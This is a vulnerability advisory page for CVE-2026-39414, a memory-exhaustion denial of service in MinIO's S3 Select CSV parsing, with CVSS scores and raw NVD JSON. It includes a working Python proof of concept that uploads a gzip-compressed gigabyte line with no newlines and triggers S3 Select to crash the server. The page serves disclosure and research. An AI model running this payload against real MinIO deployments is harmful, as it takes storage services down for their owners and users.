Security Vulnerability Report
中文
CVE-2026-39414 CVSS 6.5 MEDIUM

CVE-2026-39414

Published: 2026-04-08 21:16:59
Last Modified: 2026-04-15 19:30:46

Description

MinIO is a high-performance object storage system. From RELEASE.2018-08-18T03-49-57Z to before RELEASE.2025-12-20T04-58-37Z, MinIO's S3 Select feature is vulnerable to memory exhaustion when processing CSV files containing lines longer than available memory. The CSV reader's nextSplit() function calls bufio.Reader.ReadBytes('\n') with no size limit, buffering the entire input in memory until a newline is found. A CSV file with no newline characters causes the entire contents to be read into a single allocation, leading to an OOM crash of the MinIO server process. This is exploitable by any authenticated user with s3:PutObject and s3:GetObject permissions. The attack is especially practical when combined with compression: a ~2 MB gzip-compressed CSV can decompress to gigabytes of data without newlines, allowing a small upload to cause large memory consumption on the server. However, compression is not required — a sufficiently large uncompressed CSV with no newlines triggers the same issue.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:minio:minio:*:*:*:*:*:*:*:* - VULNERABLE
MinIO RELEASE.2018-08-18T03-49-57Z 至 RELEASE.2025-12-20T04-58-37Z 之前

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import boto3 import gzip import io # Configuration ENDPOINT = 'http://localhost:9000' ACCESS_KEY = 'minioadmin' SECRET_KEY = 'minioadmin' BUCKET_NAME = 'test-bucket' OBJECT_NAME = 'exploit.csv.gz' # Create malicious CSV data (No newlines) # Generates a large amount of data that is compressed to a small size print("Generating payload...") malicious_data = b'A' * (1024 * 1024 * 1024) # 1GB of 'A's # Compress the data buf = io.BytesIO() with gzip.GzipFile(fileobj=buf, mode='wb') as f: f.write(malicious_data) compressed_data = buf.getvalue() print(f"Compressed size: {len(compressed_data)} bytes") # Initialize S3 client s3 = boto3.client('s3', endpoint_url=ENDPOINT, aws_access_key_id=ACCESS_KEY, aws_secret_access_key=SECRET_KEY) # Upload the malicious file print("Uploading payload...") s3.put_object(Bucket=BUCKET_NAME, Key=OBJECT_NAME, Body=compressed_data) # Trigger S3 Select to parse the CSV # This will cause the server to decompress and read the 1GB line into memory print("Triggering S3 Select...") sql_query = "SELECT * FROM S3Object" try: response = s3.select_object_content( Bucket=BUCKET_NAME, Key=OBJECT_NAME, Expression=sql_query, ExpressionType='SQL', InputSerialization={'CSV': {}, 'CompressionType': 'GZIP'}, OutputSerialization={'CSV': {}} ) # Consuming the event stream to ensure the request is processed for event in response['Payload']: pass print("Exploit triggered. Check server memory status.") except Exception as e: print(f"Error (Server might have crashed): {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39414", "sourceIdentifier": "[email protected]", "published": "2026-04-08T21:16:58.877", "lastModified": "2026-04-15T19:30:46.397", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MinIO is a high-performance object storage system. From RELEASE.2018-08-18T03-49-57Z to before RELEASE.2025-12-20T04-58-37Z, MinIO's S3 Select feature is vulnerable to memory exhaustion when processing CSV files containing lines longer than available memory. The CSV reader's nextSplit() function calls bufio.Reader.ReadBytes('\\n') with no size limit, buffering the entire input in memory until a newline is found. A CSV file with no newline characters causes the entire contents to be read into a single allocation, leading to an OOM crash of the MinIO server process. This is exploitable by any authenticated user with s3:PutObject and s3:GetObject permissions. The attack is especially practical when combined with compression: a ~2 MB gzip-compressed CSV can decompress to gigabytes of data without newlines, allowing a small upload to cause large memory consumption on the server. However, compression is not required — a sufficiently large uncompressed CSV with no newlines triggers the same issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:minio:minio:*:*:*:*:*:*:*:*", "versionStartIncluding": "2018-08-18t03-49-57z", "versionEndIncluding": "2025-10-15t17-29-55z", "matchCriteriaId": "AAB60BDE-9136-44FF-AEC2-C00F76E8BB05"}]}]}], "references": [{"url": "https://docs.min.io/enterprise/aistor-object-store/upgrade-aistor-server/community-edition", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/minio/minio/commit/7c14cdb60e53dbfdad2be644dfb180cab19fffa7", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/minio/minio/pull/8200", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/minio/minio/security/advisories/GHSA-h749-fxx7-pwpg", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}